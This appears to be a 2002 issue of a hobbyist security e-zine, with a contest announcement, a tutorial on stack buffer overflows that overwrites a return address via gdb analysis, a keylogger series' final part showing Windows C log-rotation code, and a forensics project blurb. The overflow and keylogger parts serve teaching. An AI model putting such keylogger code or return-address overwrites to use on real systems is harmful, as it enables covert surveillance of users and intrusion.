Soli Deo gloria - To God alone be glory

Updated : September' 2002

Editor : Arun Koshy

Contributors : Ayan Chakrabarti, Charles Hornat

DISCLAIMER : [Insert the biggest, most comprehensive lawyerspeak here]. Basically, the author(s) are NOT RESPONSIBLE for anything arising out of the information presented below. Enjoy.


Contents

Suggested Links :HW issue #3

Movies :

Beautiful Mind, Spiderman , Mask (1985 - *ing Cher, Eric Sholtz)

Music :

Toploader (Achilles Heel), Barenaked Ladies (Pinch Me), Dave Mathews Band (Where are you going ?), Arun Koshy (Rhythm)


Editorial

[September]

[June]

Ayan launched a new project about which he writes...

AI-Bots is an event that we plan to have at the IIT Madras techfest - Shaastra. AI-Bots is generally a programmer's game. Instead of sitting and playing a game, you're expected to write programs to do the same thing.

A combat server runs which simulates a world with walls, flags, etc and two or more robots. For each robot, there's a corresponding controlling process. Each process can query the server for various things (player's position, game time, status of flags, etc.) as well
as issue commands to its robot (move, stop, scan, shoot bombs) through libraries that are provided. You can write the controlling process in C or C++.

A beta version of the simulator is up with sample maps and robots. Check it out at
http://aibots.sourceforge.net/

Also, check his personal website for earlier masterpieces like Keysave, Meghdoot, Wonko, Guptachar etc. This month has been better (thank god!). Expect a lot of updates in this issue soon!

PS :

Looking at the mail HW received during the month, We now have a special e-mail addy. Send all your hacking requests to hackthis@127.52.43.7 . Some of the world's best hackers are at your service 24-7, Mail now!

 

[May]
"It's been a weird month of May".. these were my first words when I started writing this time around.. then the power blew out, I went downstairs. The summer is at its worst here and you literally feel the heat coming in from all the directions. Couple that with my weird life peppered with exams and totally out of control sitiuations.. its simply great :-).

With nothing better to do , I started reading a small little book.. Words of Hope.. here's a quote I found in it :

The unedurable is the beginning of the curve of joy
.. Djuna Barnes

Let's test this. Atleast I want to. The moment for me is now.

 

Contribute! Learn! Discuss!

Contact:
You're invited to send in your entries, comments et.al for publication to hwcol@arunkoshy.cjb.net <defunct>

Hot Topics (but definitely not restricted to):
algorithms, stuff related to systems programming and applied network security.

Style:
ISW advocates a "hands-on" approach .. Get to the code or point. Provide references and links if necessary (especially if you're presenting a fresh perspective on something already known).


Buffer Overflows: My notes
By Arun Darlie Koshy

The concept of buffer overflows should be known by everyone who wishes to follow principles of secure programming. Many automated attacks (or say the propagation of a wormnet) could use this technique. I have no ambitions of writing a how-to or an authoratitive article on the subject as its already been done by many wiser and more experienced people.

This article is nothing but a bunch of notes on Aleph One's seminal paper on the subject (Phrack #49, Smashing The Stack For Fun And Profit). A simple attempt to lay out things clearly for myself and I hope it helps someone who is trying to grasp the same things.

Our overall aim is to be able to run code with the privileges of the current executing process. Before we get into any of this :

Issues, Code and Fandango on core
1) The first thing which needs to be understood clearly are the two pointers to the stack (SP and BP).

" the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack "

First thing which I've found useful in reading about a subject is to get to the zen, avoid the details which can be intuitively applied ... all you need to remember is that the SP is one for the whole program .. it is being constantly used.

We now understand why the BP (Base Pointer, Frame Pointer etc) is used .. local variables can be found out or "referenced" by giving their offsets from the SP .. but as the SP itself is being constantly changed due to PUSH/POP, this is tough for the computer to keep track off... there for we make a fixed reference point (kind of like what happens in mechanics) by copying the value of SP into BP before the function proceeds.

So every function (including main) would start with :

push %ebp
mov %esp,%ebp

Here the previous BP register is saved by pushing it into the stack. Next the value of SP is copied into BP to provide the current one for the function. This also gives a weird difference between *nix asm format and DOS/Win32.. the left hand side (LHS) is copied into the right hand side (RHS) (i.e move %esp, %ebp -> esp goes into ebp).


2) Arguments are always handled in the calling function (i.e suppose main() calls security() with some arguments, the arguments are stored onto the stack before the control is passed). An example :

void main()
{
   if(security(1,2))
   printf("Secure!\n");
   else
   printf("Cracked!\n");
}

gdb output w.r.t to the function call

0x8048480 <main>: push %ebp
0x8048481 <main+1>: mov %esp,%ebp
0x8048483 <main+3>: sub $0x8,%esp
0x8048486 <main+6>: sub $0x8,%esp
0x8048489 <main+9>: push $0x2
0x804848b <main+11>: push $0x1
0x804848d <main+13>: call 0x8048460 <security>


3) The most important thing to be kept in mind is this map keeping the order in mind :

[exploitable buffer] [sfp] [return address]

4) Lets now do an example to make things clearer :

#define TRUE 1

int security()
{
   char buf[4];

   /* possible buffer overflows
      strcpy(buf,string); -> and string is > 4
      gets(string); -> user enters crap > 4
   */

   return TRUE;
}

void main()
{
   if(security())
   printf("Secure..\n");
   else
   printf("Insecure!\n");
}

[work@swg work]$ gcc -o bufe -g tmp.c
tmp.c: In function `main':
tmp.c:14: warning: return type of `main' is not `int'
[work@swg work]$ ./bufe
Secure..
[work@swg work]$

Normal execution of the code results in the message "Secure.." being printed. The map in this case is :

[buf] [sfp] [return address]

We can now visualize how a buffer overflow can happen .. buf is n bytes, incase anything writes more than n bytes .. it will get to the regions outside and can overwrite sfp, the return address et.al .. we're interested in achieving a controlled overwrite on the return address. This will enable us to jump to a particular location in memory (a part in the code itself, or the start to some other code which we wish to execute). For this example, lets set the target that printf("Insecure!\n") should be always executed.

Let's now power up gdb and study the executable :

This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %esp,%ebp
0x8048473 <main+3>: sub $0x8,%esp
0x8048476 <main+6>: call 0x8048460 <security>
0x804847b <main+11>: mov %eax,%eax                      //
function security returns at this address
0x804847d <main+13>: test %eax,%eax
0x804847f <main+15>: je 0x8048494 <main+36>          //the jump incase the function returned FALSE (0)
0x8048481 <main+17>: sub $0xc,%esp
0x8048484 <main+20>: push $0x8048518
0x8048489 <main+25>: call 0x804833c <printf>
0x804848e <main+30>: add $0x10,%esp
0x8048491 <main+33>: jmp 0x80484a4 <main+52>
0x8048493 <main+35>: nop
0x8048494 <main+36>: sub $0xc,%esp                         //this is where we want to jump
0x8048497 <main+39>: push $0x8048522
0x804849c <main+44>: call 0x804833c <printf>
0x80484a1 <main+49>: add $0x10,%esp
0x80484a4 <main+52>: leave
0x80484a5 <main+53>: ret
End of assembler dump.

First, do not get dazed by the lump of machine code .. we're looking for a few things which we want .. just train your eyes to see that, life is really cool if u learn to focus.

We see that :

Now we take a look at the function security()

(gdb) disas security
Dump of assembler code for function security:
0x8048460 <security>: push %ebp
0x8048461 <security+1>: mov %esp,%ebp
0x8048463 <security+3>: sub $0x4,%esp
0x8048466 <security+6>: mov $0x1,%eax
0x804846b <security+11>: leave
0x804846c <security+12>: ret
End of assembler dump.
(gdb) quit

Now we simulate a buffer overrun, having all the data which we have, we modify the example so that we adjust the return address according to our aim :

int security()
{
   char buf[4],*poison;
   poison=buf+8;         // the rogue pointer is set to 4+4 past the start of buf
   (*poison)+=25;       // the return address is incremented by 25 which is the computed difference to reach printf("\nInsecure!);
   printf("Im the weak link!\n");
   return TRUE;
}

void main()
{
   if(security())
   printf("Secure..\n");
   else
   printf("Insecure!\n");
}

[work@swg work]$ gcc -o bufe -g tmp.c
tmp.c: In function `main':
tmp.c:14: warning: return type of `main' is not `int'
[work@swg work]$ ./bufe
Im the weak link!
Insecure!
[work@swg work]$

We see that we are successful in our attempt. A buffer overflow has been "simulated" .. During the next few weeks, We are going to learn a lot more including actual exploit coding, disassembling etc. Time for you to brush up on your Unix n Win32 assembler skills. SoftICE would be used in place of gdb once we go for Win32.

Thanks to Nipon for being a guide, constant friend and patient listener in the most weird of times. Hang in there bro!


References


Advanced Meal - A keylogger in an API
by Ayan Chakrabarti

Its time to wrap up the keylogger. Only a couple of functions need to be explained. These functions have nothing to do directly with keylogging but play a crucial part in the maintenance of log files. If you have coded them yourself or atleast tried after reading the last two parts of this article, you deserve a pat on the back

Let's look at the first function, istime().

int istime()
{
   struct dosdate_t dt;
   int dayweek;
   char sdt[2];

   _dos_getdate(&dt);
   sdt[0] = '0' + dt.dayofweek;
   sdt[1] = '\0';

   dayweek = GetProfileInt("KBDLOG","WDY",7);
   WriteProfileString("KBDLOG","WDY",sdt);

   if(dayweek == 7 || dayweek == dt.dayofweek)
      return 0;
   else
      return 1;
}

This is a simple function. It returns whether time has come to change the log file and start logging into a new file. The criteria is that a new log file is created every day. We check the last stored weekday and compare it with the current week day. If they're different, then its time to change.

Ok, next function is getfname(). This gets the name of a new filename to which to the active logfile is rename. Lets take a look at the code.

void getfname(char * fname)
{
   int seq,i;
   char numb[10];

   seq = GetProfileInt("KBDLOG","SEQ",0);
   seq = (seq+1) % 10000;

   strcpy(numb,"0000");
   i = 0;
   while(seq > 0)
      {
         numb[3 - i] = (seq%10) + '0';
         seq/=10;
         i++;
       }
   GetWindowsDirectory(fname,990);
   strcat(fname,"\\KBDLOG\\MLQ");
   strcat(fname,numb);
   strcat(fname,".MQU");
   WriteProfileString("KBDLOG","SEQ",numb);
}

This one's pretty simple as well. We maintain a value called SEQ which we keep incrementing. And we create a file called WINDIR\KBDLOG\MLQ###.MQU where ### represents SEQ.

So, that concludes our discussion. Things would get really interesting if our keylogger could email these log files to a desired address. Well, that's next time :-).


Forensics : The ISW Experiment
By Charles Hornat

Digital forensics is a topic that is often mis-interpreted. It is often referred to as: "How to recover deleted files"

Recovering deleted information is simply a part of the science of  forensics. It can be better defined as finding truth with technology. An electronic forensic investigation can be as simple as opening up the file browser and searching for a file, or complex like recovering deleted information from a disk, or mundane like reviewing access logs to your building.

The project at ISW is a living project, meaning it will continue to grow as new ideas, new techniques, and new methods of
hiding data are discovered. We will investigate key settings in various operating systems, specific filesytems, tools such as "Coroners Toolkit" and "Forensic Browser" etc.

The section will have tutorials based on real life experiences. By sharing experiences, one will be able to relate better.In addition, some of the topics presented here will coincide with the Honeynet@home project.

Coming soon @ Infosecwriters.com!!! Also check the ISW library's Forensic section

Home | About Us | Contact Us | Privacy Policy | Site Map

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.